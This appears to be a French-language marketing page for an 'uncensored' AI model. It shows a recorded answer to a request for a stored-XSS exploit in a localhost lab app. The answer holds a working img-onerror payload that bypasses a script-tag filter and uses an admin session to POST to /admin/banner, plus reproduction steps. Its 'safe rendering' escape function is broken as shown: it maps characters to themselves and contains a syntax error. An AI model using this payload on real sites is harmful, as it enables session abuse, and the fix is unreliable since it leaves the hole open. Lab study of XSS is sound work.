Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
GLM-5.3 Uncensored
glm-5.3-uncensoredDisponible dans le chat du navigateur et via une API compatible OpenAI.
Tarifs des tokens
Prix en USD par 1 million de tokens
- Entrée / 1M
- 0,350 $US
- En cache / 1M
- 0,100 $US
- Sortie / 1M
- 0,350 $US
Caractéristiques du modèle
Zhipu AI · non censuré
- Fenêtre de contexte
- 1 000 000 tokens
- Sortie maximale
- 65 536 tokens
- Capacités
- Texte · Streaming · Appels d’outils
Performances mesurées
- Tokens/s moyens
- ≈ 33,7
- TTFT estimé
- 2,4 s
- Indicateur de disponibilité
- 99,2%
Mis à jour 01/11/2026 20:36:37 UTC · Réussite du fournisseur sur 24 h · Un tiret indique un manque de mesures récentes.
Découvrez la réponse du modèle
Réponse réelle à une question XSS persistante dans un laboratoire localhost. La question et la réponse sont en anglais. La sortie est du texte ; aucun exemple de code ne s’exécute ici.
GLM-5.3 Uncensored
Réponse enregistrée · 28 oct. 2026, 19:07 UTC
Extrait sélectionné de la réponse enregistrée. Certaines parties sont omises.
Malicious comment (submit via the form):
<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST.
Reproduce:
node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LABFix — safe rendering:
// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.
Exemple enregistré, pas un chat en direct.Ouvrir le chat
Utilisez ce modèle via l’API
Créez une clé API et ajoutez du crédit. Définissez UNCENSOREDLABS_API_KEY dans votre environnement. Installez le paquet openai pour JavaScript ou Python.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "glm-5.3-uncensored",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' Compatible avec OpenAI. Modifiez votre URL de base.Lire le guide de démarrage rapide
Limites et facturation
- L’absence de filtrage ne garantit pas une réponse à chaque question. Les réponses peuvent être incorrectes, incomplètes ou refusées.
- La sortie maximale est la limite du service UncensoredLabs. Les longues générations et les charges à contexte complet n’ont pas été évaluées.
- Les crédits sont réservés pour la sortie demandée et une borne d’entrée prudente ; le contexte complet est réservé sans comptabilité vérifiée selon la taille de la requête. Les frais finaux utilisent l’usage vérifié ; les requêtes incertaines peuvent conserver leur réserve.
- Le délai est de dix minutes. Les limites de débit, de concurrence et la disponibilité du fournisseur s’appliquent ; les erreurs incluent 429 avec Retry-After.
- UncensoredLabs ne stocke pas les questions ni les réponses sur ses serveurs. La politique de conservation du fournisseur d’inférence s’applique.